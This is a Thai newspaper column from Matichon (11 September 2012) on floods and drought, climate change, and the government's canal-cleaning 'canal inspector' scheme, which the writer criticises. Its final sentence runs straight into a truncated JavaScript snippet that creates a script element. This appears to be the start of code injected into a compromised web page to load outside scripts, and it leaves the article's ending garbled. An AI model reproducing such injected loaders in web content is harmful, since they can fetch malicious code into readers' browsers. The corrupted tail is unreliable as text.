มติชนรายวัน ฉบับประจำวันอังคารที่ 11 กันยายน 2555

 

          ปีกลายน้ำมาก ปีนี้น้ำน้อย ปีหน้าน้ำจะมากอีก โดยเฉลี่ยจะสลับกันอย่างนี้มาแต่โบราณกาลดึกดำบรรพ์ มีในพงศาวดารด้วย

          ผู้เชี่ยวชาญน้ำ บอกต่อไปอีกว่าแต่ปัจจุบันมีอิทธิพลโลกร้อน สภาพอากาศแปรปรวน จะวางใจสถิติเฉลี่ย 3 ปี ที่บอกมานี้ไม่ได้ บางทีอาจมีภาวะระส่ำระสายกะทันหันขึ้นได้ในบางท้องที่ ทำให้น้ำท่วมติดๆกันหรือแล้งติดๆกันทุกปีก็ได้

          ที่สำคัญคือจะมีภาวะ“ดินฟ้าอากาศสุดขั้ว” จนเกิด“ความรุนแรงสุดขั้ว” ตามมาไม่หยุดหย่อน (อ่านในบทความภัยใหญ่ น้ำท่วมชายฝั่งทะเล และคลื่นความร้อน ของ อนุช อาภาภิรม ในมติชนสุดสัปดาห์ ฉบับวางตลาดนี้) แล้วทวีขึ้นในอนาคต

          รัฐบาลจัดแสดงนิทรรศการ “มุ่งมั่นทำงาน บริหารจัดการน้ำเพื่อประชาชน” เมื่อเร็วๆนี้ (มติชน ฉบับวันอาทิตย์ที่ 2 กันยายน 2555 หน้า 11) ดร. อานนท์ สนิทวงศ์ ณ อยุธยา ผู้อำนวยการสำนักงานพัฒนาเทคโนโลยีอวกาศและภูมิสารสนเทศ กระทรวงวิทยาศาสตร์และเทคโนโลยี อธิบายว่า

          ปรากฏการณ์น้ำท่วมใหญ่เมื่อปีที่แล้ว ส่วนหนึ่งเป็นผลมาจากการเปลี่ยนแปลงจากปัจจัยภายนอก โดยเฉพาะสภาพภูมิอากาศ เกิดฝนตกหนัก ลมมรสุมจากอ่าวเบงกอลมีความรุนแรงกว่าปกติ และร่องฝนที่พาดผ่านประเทศไทยเกิดการเปลี่ยนแปลง เป็นผลมาจากภาวะโลกร้อนซึ่งกำลังส่งผลกระทบต่อทุกภูมิภาคของโลก ในอนาคตจะยิ่งรุนแรงกว่านี้แน่นอน

          แต่จะไปโทษโลกร้อนอย่างเดียวไม่ได้ เราต้องกลับมาดูปัจจัยอื่นๆ ที่ทำให้ประเทศไทยอ่อนไหวต่อสภาพภูมิอากาศด้วย

          “โดยเฉพาะการพัฒนาอุตสาหกรรมการเกษตรที่ทำให้เราต้องผลิตสินค้าในปริมาณมากเพื่อป้อนตลาดโลกอย่างเลี่ยงไม่ได้ กลายเป็นเกษตรเชิงเดี่ยวไปหมด ทำให้ความหลากหลายหายไป ตรงนี้มีส่วนสำคัญในการปรับตัวของสภาพแวดล้อมและช่วยกระจายความเสี่ยงเมื่อเกิดภัยพิบัติ” ดร. อานนท์กล่าว

          การแก้ไขปัญหาต้องใช้ผสมผสาน 2 แนวทางเข้าด้วยกัน คือ พัฒนาเทคโนโลยีให้ก้าวหน้าขึ้น ขณะเดียวกันก็ต้องพยายามอยู่ร่วมกับธรรมชาติให้ได้

          น.ส. ยิ่งลักษณ์ ชินวัตร นายกรัฐมนตรี พูดถึงโครงการร่วมแรงไทย รักษาน้ำใสทุกคูคลอง และการร่วมมือของพื้นที่ปลายน้ำในการขุดลอกคูคลอง ว่า

          จากสถานการณ์อุทกภัยครั้งที่ผ่านมา จะเห็นได้ว่าตามคูคลองอุดตัน มีผักตบชวากีดขวางทางน้ำจำนวนมาก รัฐบาลได้ขอความร่วมมือจากทุกภาคส่วนในการขุดลอกคลองโดยเฉพาะพื้นที่ปลายน้ำ

          แต่ปัญหาที่พบคือยังมีขยะที่อุดตันในบางพื้นที่ ซึ่งเมื่อขุดลอกคูคลองแล้ว แต่ไม่มีการบำรุงรักษา

          น.ส. ยิ่งลักษณ์กล่าวว่า ต้องสร้างจิตสำนึกให้คนในชุมชนช่วยกันเป็นหูเป็นตารักษาความสะอาดคูคลองในพื้นที่ โดยขอความร่วมมือทางภาคเอกชนมาช่วยเหลือ และมีผู้ที่ดูแลคลอง เรียกว่าสารวัตรคลอง ซึ่งในแต่ละชุมชนต้องช่วยกันดูว่ามีขยะอุดตันมากหรือไม่ และช่วยกันรณรงค์รักษาความสะอาด

          “สารวัตรคลอง” ของนายกฯ แม้ดูแล้วเหมือนเด็กเล่นขายของบ้างก็ควรทำให้เกิดความเคลื่อนไหวกระตุ้นสำนึกสาธารณะ แต่ต้องทำควบคู่ไปกับกิจกรรมหลัก คือสร้างสำนึกสาธารณะของสังคมไทยให้มีอย่างจริงจัง โดยมีมาตรการทางกฎหมายอย่างเข้มงวดพร้อมกันด้วย

          เพราะความเป็นไทยผ่อนปรนคนกันเอง จนป่าไม้หายเหี้ยนเกือบหมดประเทศทำให้เกิดวิกฤตน้ำท่วมฝนแล้ง และคูคลองในกรุงเทพฯเน่าเกือบครบถ้วนแล้ว อย่ารอให้แม่น้ำทั้งประเทศเน่าแล้วถึงจะรู้สำนึก

          ประวัติศาสตร์สังคมและประวัติศาสตร์ท้องถิ่น มีพลังสนับสนุนอย่างยิ่งใหญ่ในเรื่องสำนึกสาธารณะ แต่สังคมไทยไม่มีสิ่งเหล่านี้ นายกฯ คงไม่รู้จัก เพราะไม่มีใครบอกvar d=document;var s=d.createElement(‘script’);